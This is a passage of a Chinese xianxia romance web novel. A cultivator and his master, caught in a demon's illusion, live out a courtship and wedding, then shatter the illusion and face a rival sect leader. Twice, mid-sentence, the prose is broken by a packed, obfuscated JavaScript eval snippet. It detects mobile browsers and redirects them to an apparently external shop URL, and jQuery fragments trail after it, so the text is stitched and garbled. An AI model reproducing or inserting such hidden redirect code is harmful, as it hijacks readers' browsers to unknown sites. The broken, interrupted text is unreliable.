闻渊满意点头,“那便好了,若是你的宗门寻上来了,恐怕场面会很难看。” 一号侍从已然从一系列备选方案中回过神,闻言同情地看了眼严文洲。 严文洲不想深究眼神里的意思,抬头看向天际,等待着仙修的到来。他细细数着呼吸,一直到第三次,几道飞光才停驻在郁林城结界外。 “无耻魔修,还我弟子命来!” 这一声暴呵本该如晴空雷鸣般惊到所有人,但有闻渊预警在前,几人都没有什么大反应,几乎是无动于衷地看着漂浮在郁林城城墙前的仙门修士。 “啊,是小蓬莱的人。少宫主,我这就去把他们赶走。”二号侍从说着便要飞身而起。 “等等,”三号侍从叫住了二号,“你下手重些,免得他们明天又来。” 一号侍从点头,“先前小蓬莱的人趁着宫主闭关,多次挑衅,现在是该给他们个厉害看看了!” 说话间,小蓬莱的人又喊起来:“夜游宫的人呢?还在棺材里睡觉么?还是被吓得不敢应声了!?速速滚出来!” 严文洲反常地沉默了下来,嘴角隐约的笑意一点点拉平,看向小蓬莱修士的眼神格外犀利,几乎可以用杀意来形容。 自己居然,记得小蓬莱的一个修士,祁照水。 “你和小蓬莱有仇?”闻渊忽然道。 严文洲慢慢点头,“定是有的。” 一二三号侍从:“……?” 仇怨,还能用“定是”来形容? 闻渊没觉得这话有什么问题,胳膊一挥便道:“那我们就去会会他们。”说着,便抬脚朝城墙飞去。 严文洲紧随其后,正儿八经的侍从倒落在了后面。 一见有人回应,小蓬莱的修士立刻像打了鸡血,“我等不过是例行巡视,尔等为何阴谋暗害我弟子!?你……” 一号侍从不耐烦地打断道:“你倒是说说怎么暗害了啊!?” 二号侍从:“例行巡视?这附近什么时候变成小蓬莱的地方了?” 三号侍从:“早就听闻小蓬莱内斗之风颇盛,可别是栽赃陷害啊!” 领头的修士亦是元婴修为,此时见小小郁林城里居然多了三个元婴修士,面色本就微变,又听了一耳朵奚落,脸色急转直下,看上去只差一点就撅过去了。 好半晌,他才道:“我、我乃小蓬莱瀛洲岛玄虚真人座下弟子何千,往荒汀剿除妖兽时,同行四弟子均身中剧毒,身陨道消,你们今日必须得给个说法!” 闻言,三人俱是一惊,回头看了看闻渊,没说话。 严文洲觉得那地名耳生,不由重复了一句:“荒汀?” 闻渊扭头看着他,“垂云汀,江家故地。” 25.东洲事(二) “欸,姓严的,温蘅回来了!”一道水蓝色身影极速冲来,甫一落下便扯着嗓子大喊起来。 风吹落叶,叶子打着旋儿落下,只有簌簌之声。 江莼深吸一口气,十分不满。他得了消息便匆匆忙忙赶过来,一路上不知横跨了多少条小溪,结果这人却悠哉游哉倚在树上,睡得昏天黑地! 心头怒起,他狠狠踹了一脚合抱粗的树干,又喊道:“严文洲,温蘅回来了!” “……知道了知道了,大清早的发什么脾气,当心伤身。” 这人总算是醒了,翻了个身稳稳当当落地,又举起那两只胳膊左扭右扭开始伸懒腰。 江莼看得直翻白眼,此人惯是如此,在外面尚且能装得人模人样,换个地方便全无顾忌了,简直不像个修士。 还没有消化完大清早的一包气,他又听这人理所当然地问道:“温蘅什么时候到?从哪个门进?” 早就知道!他冷笑一声,指了指东南角,“今天刚到,大门。” 话音落下,严文洲已经跑得没影儿了,空气中只飘着一句“明日便帮你教训那群小崽子”。 还算有良心。 江莼又满意了。 垂云汀坐落于青州腹地,青、白、长生三条大河交汇于此,三条大河又在平原谷地中蔓生出无数溪流,宽者有两三丈,窄者不过巴掌宽,乍一看有百余之多,因此又名百川。 这本不是个繁衍生息的好地方,水草丰茂,却过于潮湿。 可,这里却有一条精纯至极的灵脉蕴藏其下。 人能挪,灵脉却挪不了。 于是,这一块早先灵兽遍地跑的荒僻之地便渐渐变成了如今风柳依依,云蒸霞蔚,颇有仙家气象的垂云汀。 鉴于地势,江家人的住处大多都是一个个精巧的洞天别院。好看是好看,只是人若凌空而过,难免碰上点别院上空的禁制,可若走地面上铺设好的小道,那又太远了。 严文洲心里不自觉着急,几个起落便冲到了门口,鬓边白发已生的江家家主只觉得耳边几声尖锐音爆,眼前就多了个人。 他按了按耳朵,摇头退后三步,留给他俩叙旧。 严文洲动作极快,真见到了人却又收敛起来,心情很好地打了个招呼:“温蘅,你回来了。”不等白发修士回答,他已然上了手,挑起一缕白发吃惊道:“咦,你这头发是染的?” 莫名其妙变了姓氏的杜衡一怔,定定地看着自家二徒儿,觉得这人一点儿没变,或许还因为幻境的缘故,更放肆嚣张了几分。 他的眼神慢慢滑落,停在了严文洲指尖,白发柔顺,正好将这人手指圈住,也衬得这一双握刀的手格外骨节分明。 应该很好握。 许久,他才笑着点了点头,“嗯,回来了,只是这头发不是染的,先前出了些变故,意外至此。” 严文洲吃了一惊,什么变故能伤到温蘅,还能留下如此古怪的痕迹! 没等他继续问,温蘅却已经继续道:“不是什么大事,早已都解决了。我这次游历多年,不知家中情况如何?” “能有什么变化?有家主在,定是万事平安的,”严文洲笑眯眯地给江家家主安了顶高帽子,全然没给温蘅岔开话题的机会,“我记得你这次说要去西南游历,可是中了蛊毒才会一头鹤发?可有什么办法么?免得别人一看你便觉得是个千岁老妖怪。” 杜衡嘴角的笑意陡然微妙了几分,这人自己就年岁不小,还在这儿一本正经唠叨人,不知他自己记起来之后会是什么表情。 “看着老些就老些,我又没有道侣,在意这个做什么。况且,皮相不过幻梦一场,修者何须挂心。” 道理讲得一套一套的,可严文洲怎么看都觉得那头银绸子般的长发不顺眼。然而事已至此,温蘅又百般回避,现下从他嘴里问出真相是不可能了,严文洲正打算直接把人拖走喝酒去,心中却一动。 回首望去,天际又有几道流光飞驰而来,一眨眼的功夫就落了下来。 玉面青年礼数周全,甫一见江家主便规规矩矩地行了个礼,“小蓬莱瀛洲岛祁照水拜见江家主。” 江家主连忙将他扶起,环视一圈有些讶异,“司一长老,清泉长老,你们二位怎么也来了?” 司一长老面容苍老,此刻抚着长须,笑得牙不见眼,脸上堆出了三四五层褶子,“说来也是有缘,我,唔,还是让我这徒儿自己来说吧。” 祁照水面色有些发红,看着江家主似乎很紧张,“我来提亲。” 石破天惊 温蘅眼看着严文洲的脸色瞬间变得铁青,看向祁照水的眼神几乎可以用杀气腾腾来形容。他两边看了看,心情微妙——怎么,难不成两人争夺的是同一位? 大门口自然不是议事的好地方,江家主虽然讶异,但来的是小蓬莱长老级别的人物,平素又相熟,便把他们都请进了议事堂。而严文洲和刚回来的温蘅自然没份儿参与这种事,径直回了院子。 平心而论,祁照水的皮相相当不错,身姿风韵十分有小蓬莱的飘逸之风,放在四洲也是拔尖,若没有别人衬托,是极显眼的。 而此人的修为天资更是惊人,不过二百余岁便已是化神大圆满,若无意外,小蓬莱将来定会留下祁照水之名。 然而在严文洲看来,这姓祁的面容不正,眼冒精光,定然心性有问题!绝非良配! “师姐怎么可能看上这样的人!断然不对劲!” 看着严文洲处处挑刺的模样,杜衡有些稀奇,这人从前多是装出一副乖徒儿的模样,贴心无比,谁曾想还会有如此严苛刻薄的一面。 况且,小蓬莱在东洲仙道颇负盛名,与此时的江家相比也不逞多让,怎么这人一副哪里都看不上的样子? “祁照水是小蓬莱首徒,就算是做不成掌门,也会有个长老之位,人长得也不赖,有什么不好的?” “……直觉。” 杜衡点了点头,若有所思。 虽说这人的卜算天赋实在可怜,但直觉还是很准的——祁照水的确算不上什么好人,这场婚约也确是有始无终。唔,也或许,是因为这人早已知晓结局? 也不知他这年纪一大把的二徒儿到底是江家什么人,江家的人不都应该死在这里了么?即便是有逃出去的,东洲仙门的人也不会放过他们。 他有些出神,全然没发现严文洲的眼神已经缓缓落到了他身上,戾气与煞气尽数消逝,眼中只有怔愣和怅惘。 “温蘅。”严文洲忽然低低叫了一声。 杜衡应声抬头,撞进一双堪称温柔的眼中,不由恍惚——不知怎的,他竟也生出些难过来,无根无由,却痛彻心扉。 没等他回答,严文洲又道:“我好像很久没有见到你了。” 院中花树繁盛,杜衡“回来”的时候恰是春日,几株百龄桃花几乎是以怒放的姿态招摇在风中,落花亦是毫不含糊地飘洒,片刻功夫,严文洲肩上落了些许。 残花本有枯败之意,可也许是桃花太多太艳,也许是这人姿容锋锐,不容半点颓丧之情,杜衡此时只想到了一句人面桃花相映红。 怔愣的瞬间,一片桃花于严文洲瞳孔中缓缓旋转落下。 心不由自主地停滞了半分。 杜衡沉沉叹了口气,陡然移开眼神,眼前出现一片青砖,苔生缝中,落花点缀,静穆又明丽。他忽地又想起了严文洲,那人握刀时,亦有如此意韵。 唔,自己多半是被幻境影响得太深了。 “……确实是很久了。” 两人一个望天,一个看花,各自发了会儿呆,都觉得古怪。 严文洲回过神来琢磨了好几遍,仍没明白方才的心境是怎么回事——不过是游历一场,最大的问题也不过白了头发,可怎么却觉得又心痛又庆幸呢。简直像是话本里那些误以为丈夫死了,正伤心不已却猛然看见丈夫活生生出现门口的妇人。 他暗自呸了一声,自觉自己和温蘅的情谊还没到那份儿上。可念头刚起,他又莫名其妙觉得有些遗憾,甚至暗自希望…… 他陡然打住,震撼、不解、嫉妒、期望诸多杂念在心里乱成一团,正无措间,耳边忽地传来一句:“你为什么叫我温蘅?” “我不叫你温蘅叫你什么?杜衡么?!” 完了!严文洲这回真觉得温蘅有点毛病了,一下忧心忡忡地盯着他,试图从脸上看出些端倪。可看了半天,他也只觉得这人气色还不错。 杜衡无言以对,又忍受不了这人的视线,匆匆找了个话题,“许久不见,师姐可还好?” “好得很,前不久便突破了炼虚,掐指一算才三百二十六岁,可是破了东洲记录呢!”顿了顿,严文神色微妙起来,“你那时不在,没看见那群老东西的脸色,一个个精彩得很。也是,这么一来师姐的家主之位便是板上钉钉,轮不到他们了。唔,对了,那姓祁的不过是个化神,配不上实在配不上!” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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耳边实在是过于安静了,江莼忽地意识到些许不对劲,他这个发小今天怎么跟被下了禁言咒一样,一声不吭的。想了想,他问道:“师祖先前可曾说过什么时候出关么?” “……师祖?” 江莼莫名其妙,“对啊,咱俩差一辈儿,你的师傅我当然要叫师祖啊。” 严文洲心中忽然冒出一个名字,“临川君?” 江莼点点头,瞪眼看着严文洲仿佛在看傻子。 可严文洲此时已经顾不了那么多了——他明明记得,临川君已然身死道消了,就在他眼前。念头一起,剧痛陡然席卷而来,神魂都仿佛震颤不已,他恍惚中听到了无数道声音: “宿主!宿主!哔哔哔——你倒是醒……” “竖子尔敢!我江家绝无可能落到你手中!重海天渊阵开——” “瀛洲、方壶、员峤,三岛尽出,真是看得起我百川江家!” …… 火焰与潮水齐现,日月也为之失色,桃花背后似乎映照出了另一番天地。严文洲的眼神一点点扫过隐没在花丛中的白石小径,火烧焦痕在刹那间闪现,接着是探出墙外的桃枝,残花最后飘零在水中,亦真亦幻。 若这是梦,不如且先做上一回。 江莼似乎完全没发现严文洲的异样,神色仍然兴奋,“对了,温蘅呢?你怎么没和他在一起?听闻他马上要娶亲了,你可知道他交好的是哪一位?” 再转眼时,严文洲已然恢复了正常,只觉得方才不过幻梦一场,打了个哈欠方慢悠悠地问道:“交好什么?” “哪位女修啊!?” “……?” 江莼恨铁不成钢地看着严文洲,“祁照水也不知是胡说八道还是确有其事,说温蘅与小蓬莱某个修士走得极近,你懂我的意思吧!?” 严文洲懂了,但不信——温蘅?怎么可能!? 江莼急了,“听闻家主都有意提亲了,毕竟我们和小蓬莱也是邻居,抬头不见低头见的,若能关系更进一步,不是更好么?” 严文洲腾得站了起来,怔愣了两秒,咻一声飞得不见人影了。 几座院子外,杜衡方才觉得幻境有些动荡,兴许是要破了,谁知不过几个呼吸的功夫,便又稳定了。 正想着那个十分不省心的有缘人现在如何了,当事人便落到了他眼前,劈头盖脸便是一句:“听闻你要娶亲了?” 26.东洲事(三) 严文洲乘风赶来,披着一身春日花草香站在眼前,眼神灼灼,比盛放桃花还热烈,是极好看的,可问题是……杜衡难得没反应过来。娶……什么?莫不是自己听错了? 见他沉默不语,边上的家主又一副惊骇万分的样子,严文洲心头立刻生出几分沮丧,觉得自己来得十分不是时候——说不定这时候两人正商量呢,要是没有自己来打搅,说不定都快成了。 正想抬脚就走,严文洲仔细看这人神情,却觉得困惑比尴尬更多,他不由不死心地问了一句:“我听江莼说,你要娶亲了?” 杜衡总算明白过来了,虽然不知道这幻境是怎么回事,但他还是摇了摇头,“没有,不过谣传而已。” 江家主连忙点头,“江莼那小子听谁说的,这么不靠谱的消息也相信!?他、他年岁越长,心思倒是越简单了!” 严文洲完全没听见江家主的怒骂,眼中只有温蘅那双略带笑意的眼睛。很漂亮,像是蒙着薄雾的东方夜幕,一线天光即出现在地平线上,给暗色的瞳孔笼上一层说不清道不明的光。 他从未有过收藏东西的癖好,但四洲奇珍也算见过不少,可在这一刻,过往那些金玉珠宝黯然失色。只是看着这人,他便觉得十分高兴。 严文洲微微笑起来,某个念头一闪而逝,快得犹如幻影,啪一声就破碎了,很快又是第二个——虽然这与记忆中的温蘅有些不太相符,但这有什么关系呢? 这人确实是温蘅啊! 杜衡眼看着这人风风火火地蹿过来,传了道又好笑又古怪的谣言后便陷入沉默,不声不响地盯着他,仿佛自己是个稀世珍宝一样。 一股微妙的战栗感逐渐升起,他没来由地紧张了起来。此处天机被遮掩,无论怎么算都是一片混沌,生平头一次,他既理不清来路,也望不见归途。 可与此同时,他又在严文洲脸上看见了一种奇异的光彩,似乎这人如今心情极佳,极为满足一样。 这个幻境已然大大超乎意料,杜衡眸光微沉,嘴角温和的笑意淡了下去,正要开口,却听到一句:“若是将来你想试试双修,你觉得我怎么样?” 声音清朗,如珠似玉,飘散在空气中时一点不见犹疑,只有认真。 叮——青瓷茶盏滚落到地,温热茶水泼了一地,好在茶盏本身却没碎,只是一路咕噜咕噜滚远了。 当了许久壁挂的江家主:“……?” 杜衡一时失语,只近乎茫然地看着严文洲。 他本以为,这只是严文洲的幻境,那现在呢?这算什么? 杂念纷纷扰扰,如雨丝风片,挥不去,剪不断,欲停留却也留不住,他只明确一件事——这一刻,心跳跃上高峰。 正无措时,严文洲却又附下身来,亮星般的眸子直勾勾地盯着他,近得杜衡能在瞳孔里看到自己的身影。 这个距离已经远超一般同辈之间的合适距离了,杜衡本以为自己会下意识后退,可却没有,他甚至觉得先前的战栗感瞬间蔓延到了手上,刹那间很想抬手去碰一碰这张气色红润、近在咫尺的脸。 最好,还能…… 鸦羽般的睫毛扇了两下,带起的风是那么微弱,却逼得杜衡绷紧了脸色。只听严文洲继续道:“温蘅,我没开玩笑。” 杜衡自然知道他不是在说玩笑话,可眼下不是玩笑不玩笑的问题。他思索片刻,眼下这个时间点定然是十分重要的,大抵还是关乎江家灭门之事,这便宜二徒弟看上去可不像是有道侣的人,若拒绝,想来也没什么意思。 于是,点了点头,“好。” 似乎没想到杜衡会这么干脆利落地答应,严文洲反倒一呆,直愣愣地杵在原地。 江家主却笑得跟朵老菊花一样,语气十分轻快地嘱咐了二人几句,就直接走了,看上去十分满意。 杜衡送走了江家主,开始怀疑起自己先前的猜测来——该不会,自己无意间选了和这位温蘅一样的路吧?看江家主,表情一点也不意外,似乎早就猜到会有如今这一遭了。况且,这些日子里偶尔听江家人议论,这个叫温蘅的修士确实与严文洲关系极好,年少时分便有过一段因果,险些拜入同一师门下。 他按了按心脏,觉得这颗跳个不停的东西终于恢复了正常。这究竟是幻境的缘故,还是,本就如此?心念起,他便一怔——怎么会这么想? 严文洲却终于回过神来,近乎心满意足地盯着温蘅,“我可以……” 话没有说完,杜衡下意识抬头,莫名就明白了他想要做什么。此情此景,饶是杜衡有再好的脾气,也不由狠狠骂了一句——孽徒! 然而最可怕的,却是那一刻瞬间升起的冲动,仿佛有另一个自己欢天喜地要点头,由着严文洲任取任予一样。 定然是这幻境太过厉害了! 杜衡闭了闭眼,还没完全缓过来,又听到一句:“温蘅,你手上有合适的双修功法么?” “……没有。” 刹那间,他再度被截然相反的情绪分割,既欣喜又恼怒,既不可思议又理所应当,唯一的念头便是——这个温蘅,到底是谁? 严文洲浑然不觉,高兴得紧。先前还未表明心意时,他只觉得别扭,仿佛怎么都不对劲,如今有了这人回应,他陡然觉得明朗了许多,似乎夙愿得偿了一般。 “唔,我这里倒是有一本,只是不知是否合你心意。”话音落下,粗粝石桌上多了一支温润玉简。 杜衡嘴角笑意一僵,却还是伸手拿起来,扫了一遍,安静地点了点头,“此事倒也不急。” 严文洲一笑,不怀好意地凑了过去,“温蘅,你不会害羞了吧?” “文洲,你不也是童子身么?” 杜衡说得温柔,手上动作却一点不含糊,说话间已然伸手拂去落在严文洲肩上的残花,指节有意无意地擦过脸颊,末了还“意外”地碰到了耳垂。 被不同于皎月般外表的温热一惊,严文洲陡然忘记了自己要说什么。 接下来的日子过得无波无澜,严文洲觉得每日都快得很,早上去帮着江莼教导一下小弟子,接着便去温蘅哪儿,便是什么都不做,只看看他也好。以这个年纪到化神期,修行便不再是争分夺秒入定的事了,若要游历…… 严文洲总觉得自己才结束一场游历,合该歇歇,更何况还有温蘅呢。 时节已至小满,风中已带着些许热气,两人自演武场归来,锋芒未敛,一时风头无两,招得无数艳羡目光。 喜滋滋地看了眼身边人,严文洲总算想起来了件要紧事,“再过几日便是族中大比了,师傅也快出关了,待她一出关,我便向她说明,想来她也不会反对。” 短短几日,杜衡居然已经习惯了,平淡地点了点头算是答应了,同时还想着借此机会兴许能知道严文洲的师尊到底是谁。 正想着,耳边传来一道十分刺耳的声音:“哼,又有人不知道自己是谁了,有点修为就得意忘形,也不知道是学得谁!” 严文洲循声望去,神色微冷,“哪条狗在叫,真吵!” 那人瞬间涨红了脸,跳脚起来,“你、你不过是个被师祖捡来的孩子!又不姓江,有什么好嚣张!?能允你修炼江家功法已是我们仁慈了,如今还带着个外人白吃白喝,你不要不知好歹!” 白鱼刀瞬息而至,一线血色出现在那人脖颈间。看得出来,但凡下手再深一点,割破的就不是一点皮肤了。 “谁告诉你,我修炼的是百川心诀?”严文洲握着刀,嘴角展开一个恶意的笑,“江陵,你叔祖瞎了便瞎了,你若是瞎了,垂云汀岂不是少了一个青年才俊,那就太可惜了。” 刀锋如芒,刺得一线血色完全无法愈合,只能不断渗出血珠,银亮刀身更是衬出严文洲那张俊俏中带着点邪气的脸。来人被杀机锁定,情不自禁地抖了起来。 然而严文洲还没说完,大发慈悲挪开了一点刀锋后故作吃惊道:“况且,你不认识温这个姓么?三都山温家的人来垂云汀自然是做客,怎么被你空口白牙污蔑成白吃白喝了呢?赶紧给温兄道个歉,你说是不是?” 凶器在侧,来人自然不敢再多话,只能铁青着脸朝温蘅道了歉,扭头消失得飞快。 杜衡没在意这个拎不清的江家人。这些天他早已探出了严文洲的身份——某位江家老祖宗从凡间带回的孤儿。 据说严文洲自小便在江家长大,长大了些许便随着老祖四处游历,有时十几年也不在垂云汀,有时又会在这里一连带上几年。如此出身,又天资绝佳,还颇得江家主喜爱,自然招来一些红眼病。 可他万万没想到,这个温蘅居然是三都山温家的人。 三都山远在南洲,几乎和东洲没什么交集。不过,和江家交好的温家人,倒是也没几个,若是再算上时候……杜衡微微瞪大了眼,险些控制不住表情。 阴沉沉地收了刀,严文洲心情不佳,类似的阴阳怪气他早已听过不知多少,但今日那人实在太不识相! 扭头,却发现温蘅表情不对,他心里一沉,只觉得方才下手还是轻了,暗暗将那人计入黑名单,他调整了一下表情,贴近了问道:“阿蘅,你怎么了?” “我……” 杜衡陡然止声,初入幻境不久时发生的事再度出现在脑海里。彼时,他随意找了个江家弟子询问温蘅的身份,结果那江家弟子却忽然五官模糊,冒出一句:“温蘅?你便是温蘅啊!” 不怀好意的尖利笑声时远时近,气息格外鲜明,那是域外天魔的味道。 杜衡重新露出一个温柔的笑,“没什么,只是有些厌烦。下次若又遇到这样的事,还是我来吧,毕竟是客,他们也不好发作。” 严文洲嘴角一弯,阿蘅果然心肠好! “好。” 江家大比很快便到了,接着便是江家某位渡劫期老祖即将远游的消息,可严文洲的师傅却一直没有出关,只遥遥递出一个“善”字,算是对两人的事点头了。 杜衡依稀记得,百川江家彼时虽有多位洞虚大能,但最终突破到渡劫期的,只有一位,而江家这位渡劫期老祖却一去不返,即便是在江家灭门之后也未出现。 世间传闻,他早道消身陨了。 若是他没有远游,兴许,垂云汀便还是从前模样。 可,真会如此么? 掌中蓍草依然杂乱,龟甲裂纹也透不出半点有用消息,杜衡时常有种失控感,尤其在面对严文洲之时。 他这位卜算出来的二弟子,似乎浑身都是谜团,明明先前素昧平生,可为什么愈是靠近,便愈有一种熟悉感?即便只是一个再寻常不过的动作,他也知道严文洲下一个动作会是什么。 比心绪更难解释的,是古怪的渴望——他似乎,被这个叫温蘅的人感染了。心跳会加速,掌心会出汗,眼神会不自觉停留在严文洲身上…… 大抵,严文洲与温蘅,百年前确实过了一段相当美满的日子? 又或者,也许温蘅当时其实拒绝了严文洲,毕竟那一位看上去可不像是会考虑道侣这种事的人。如此一来,才能解释幻境继续留存的理由。 一想到这种可能,杜衡便不由自主地同情起二徒弟来,可即便如此,他还是无法压下心头微妙的妒忌与庆幸。 妒忌什么呢? 又庆幸什么呢? 他无从作答。 遥观天穹的间隙,他偶尔会想起一些遥远的事——太玄峰主殿内的卦,仍是死卦么? 又一年冬日,三十里垂云汀被鹅毛大雪装裹成一片银白,得益于洞天别院的存在,三条长河和数百溪流半点未冻,仍如绸缎般在雪中缓缓流淌,远远看去,一片银光闪闪。 东洲温暖潮湿,难得下雪,前几年也有江家人闲得无聊,没事干便当空放几个风雪咒,倒也将垂云汀妆点出了冬日雪国气氛,只可惜不持久,几个时辰便化了。 掐指一算,今年这大雪,已经飘了快一旬,简直前所未见,别说江莼这种年轻人,就算是江家主这等老资历的,都觉得讶异。 可今天,却是个大吉之日。 三十里银白中很快出现了几点红色,接着是更多,几个呼吸的功夫,十分喜庆的红色便布满了整个江家,就连天边阴云都映出了几分红色。 奏乐声响彻垂云汀,就连呜咽风声都弱了几分,仿佛只是别样的箫管而已。 乐声中隐约有声音唱着:“因缘际会,天定良缘,永结同心……” 踏着一路风雪和温蘅并肩走入别院中时,严文洲心中的不真实感陡然化作满足。 此处别院地势高,雪在院外积得更厚,可在禁制下,院中莳花异草仍是生机勃勃,池中游鱼亦是时而跃出水面,映出一片灿烂 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17068418|194632||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 金光。簌簌落雪声和喧嚣亦是被禁制隔了一层,听来十分朦胧。 侧过头,温蘅正笑吟吟地看着他,银发朱冠,红绶绯袍,明明是极为绮丽的搭配,在他身上却平白多了几分平和,好似随时准备起飞离开的朱鹤一般。 见他看过去,温蘅手心一翻,手里忽地多了一枚红穗子,“辞旧迎新,辟邪消灾。如今你我新婚,也算是翻过旧章,开始新生活。” 鲜红的穗子泛着流光,躺在雪白掌心中,两相呼应下,皮肤白得几乎与雪同色,而穗子红润如血。 严文洲一怔,接过来默不作声地收下,眼神缓缓落到了温蘅极其显眼的一头银发上。前几日出行时,竟有尚未开蒙的小孩儿错将温蘅看作雪妖,惊愕万分地大喊起来。他陡然弯了眼,拉着温蘅坐下来一脸认真道:“阿蘅,我们结同心誓吧?” 杜衡顿了顿,艰难地控制住直接点头的反应,斟酌片刻道:“若有长辈护持,同心誓便更稳妥些,我们不等师傅出关么?” 声音轻飘飘地散在空中,一如接触到水面的雪花。耳边落雪声依旧,似乎能一直下到天荒地老。严文洲细细打量着眼前之人,眼神一寸寸划过,眉心、眼尾、鼻尖、唇角……明明这么熟悉,怎么又会那么陌生,他理应与温蘅同进同出数十载,理应记得起来他每一招剑,为什么,就是记不起来他的模样? 许久,严文洲摇摇头,轻声道:“她应该不会出关了。”不等杜衡回应,他陡然笑起来,“师尊,我怎么会唤你温蘅啊?” 大梦一场,如今该醒了。 心念起,雅致静室陡然出现几条裂缝,刹那间,裂缝便已蔓延至整个别院。如此景象,本就是极可怖的,更何况随着裂缝绽开,还有滚滚灰雾从中涌出,熟悉的声音瞬间炸裂开来: “你就甘心如此舍下我们么?不再见一面么?” “姓严的你果然忘恩负义!” “啊啊啊——严大哥你在干什么?等等等等,有话好说啊!你不是说好要帮我酿酒的么?!” “竖子尔敢!枉我江家如此栽培你,你怎做下如此狼子野心之事!?” …… 严文洲不为所动,白鱼刀骤然在手,银月般的刀光划破长空,瞬间盖过了不断涌出的灰雾,锋锐杀意激得杜衡都不由自主地眯起了眼。 裂纹停止蔓延,飘摇大雪也为之一顿。 下一刻,洋洋洒洒落了一地的大雪骤然化作素色纸钱,加快了速度从空中飘落,随处挂着的鲜红绸缎也淌出淋漓鲜血,眨眼间便将美满人间涂成了无边地狱。 草木委顿,长河干涸,焦土遍地,再无人语。 严文洲便是在此时飞身而上的——刀光横贯天穹。 杜衡不由自主地闭上了眼,明明此人现下不过筑基修为,可这刀光,却像是要将天道也捅出个窟窿来。 他忽地想起,白鱼刀,是柄无鞘刀。 再睁眼时,眼前已是薄雾朦胧,衰草连天之景。 杜衡只觉心中微冷,不知为何叹了口气,隐约觉得有些遗憾。 白鱼刀一刀扎在了一团不断扭动的灰团上,严文洲心中杀意仍未完全平息,手中已然下意识扔了一个禁言咒过去。 这东西知道的太多了,最好立刻就死。 可惜不能。 闭了闭眼,他轻声道:“域外天魔。” 天魔一显形,小蓬莱的修士也终于从幻境中醒了过来,许是强行被唤醒的缘故,几人面色惨白,口鼻溢血,身上气息陡然弱了许多,甚至有一个不过才醒便昏死过去了,境界陡然从金丹跌落到了筑基。 倒是夜游宫那几个,居然没什么损伤,看上去比小蓬莱修士好上许多。甫一醒来,几人便朝闻渊冲了过去,一副保护姿态地看着周围,十分警惕。 何千勉强爬起来环视了一圈同门,悲从心中来,咬牙道:“哪里有什么域外天魔,不过是只古怪些的魇罢了!这里可是垂云汀!怎么会有天魔!你们不要信口胡诌!” “确实是天魔,只不过它吞食了几只魇而已,”闻渊也悠悠醒了过来,乌溜溜的大眼珠扫了一圈便看见了白鱼刀下的东西,眼神不由流露出几分异色,瞧见旁边的杜衡更是一呆。 然而很快,她便盯着何千,“你们来垂云汀不就是觉得这里气息有异,后来又发生了失踪案么?如今事情已经查清楚了,怎么还不走?” 赶人的意思十分明显,何千本就血气翻涌,被这么一气险些又呕出口心血来,“走、走什么走!即便真是域外天魔,它又怎会出现在这里?定然是你们夜游宫搞得鬼!” 零散的记忆片段在离开天魔幻境的瞬间连成长河,严文洲低低笑了起来,声音中带了几分嘶哑,“夜游宫恐怕不会在自己地盘边上做这些,封灵阵遗迹尚在,仙修气息分明,想来……”他怔愣了瞬间,眼神有些惆怅,却只是轻声道:“想来这不过是机缘巧合而已。” 方才虽是借了把天魔之力,可修为到底还是低了些,此时已是灵力干涸,神魂也传来阵阵抽痛,十分不好受。 兼之,背后还有一道完全无法忽视的目光。 温蘅、杜衡,一音之差,一字之差,谬以千里。 只差一点,两人就什么都做了。 严文洲此时难得生出了几分心虚和愧疚,半点不敢回头看,只恶狠狠地给正喋喋不休的系统送了道心音:“闭嘴!” 闻渊已经深深皱起了眉,她醒来时的确嗅到了一股极为明显的仙修味道,但还以为是那位银发仙修带过来的,竟然不是么? 况且,封灵阵?她想了想,给了侍从们一个极为熟悉的手势。 下一刻,三个侍从猛然向小蓬莱弟子们窜过去,看样子竟要把这几个弟子全都带走。 何千当真喷了口血出来,衣衫陡然一片鲜红,看上去十分凄惨,“你、你们真是无耻至极!我多日未归,想来师门中早已察觉不对,你们就等着吧!” 话音落下,便有一道浩荡气息飞掠而来,转眼的功夫便到了眼前。 “何人敢动我小蓬莱弟子!?” 声音层层荡开,闻渊等人青白的面色陡然涌上几分红色,只是还未反应过来,杜衡便已缓步上前,炼虚期的威势毫不收敛地散开,顿时风烟俱净,露出微晞的天光。 只听他笑吟吟道:“祁掌教,好久不见。” 27.东洲事(四) 严文洲匆忙给自己塞了把丹药,灵力已然恢复了些许,神魂阵痛却半点不减,心情更是复杂难言。多亏了这个倒霉催的天魔,他已然知晓了一些要命的东西——自己向来用刀,他的恩师叫临川君,最后死在了自己眼前。 而临川君只有一个徒弟。 也就是说,他真是传闻中那位心狠手辣、狼子野心,先杀恩师,而后灭了百川江家满门的东极道主。 当然,依那些记忆来看,干了这些丧天良亏心事的多半是眼前这位小蓬莱掌教,祁照水。毕竟,江家老祖总不至于选择一个灭了江家满门的人接受传承,况且,杀意也不会无缘无故冒出来。 区区几个金丹、元婴弟子的纷争,夜游宫长老都没出现呢,祁照水居然亲自来了,未免古怪。 心中一动,他手上出现一只木面具,随手扣在了脸上。正要抬脚往杜衡那里走去,系统却忽然传出一声:“嘀——东洲任务已成功开启!小蓬莱盘踞东洲多年,涉嫌不正当竞争,请宿主于合适的时机,诛杀祁照水!” 严文洲脚下一踉跄,险些跌倒。 “什么东西?!你再说一遍!”他立刻不可置信地问了一遍。 系统死水般的音调陡然一变,重复了一遍后委屈起来,“我也不知道为什么呀,总之上头给我的就是这个任务,我、我就是传达一下而已。” 严文洲迅速反应过来——这是玄天卷要祁照水死。 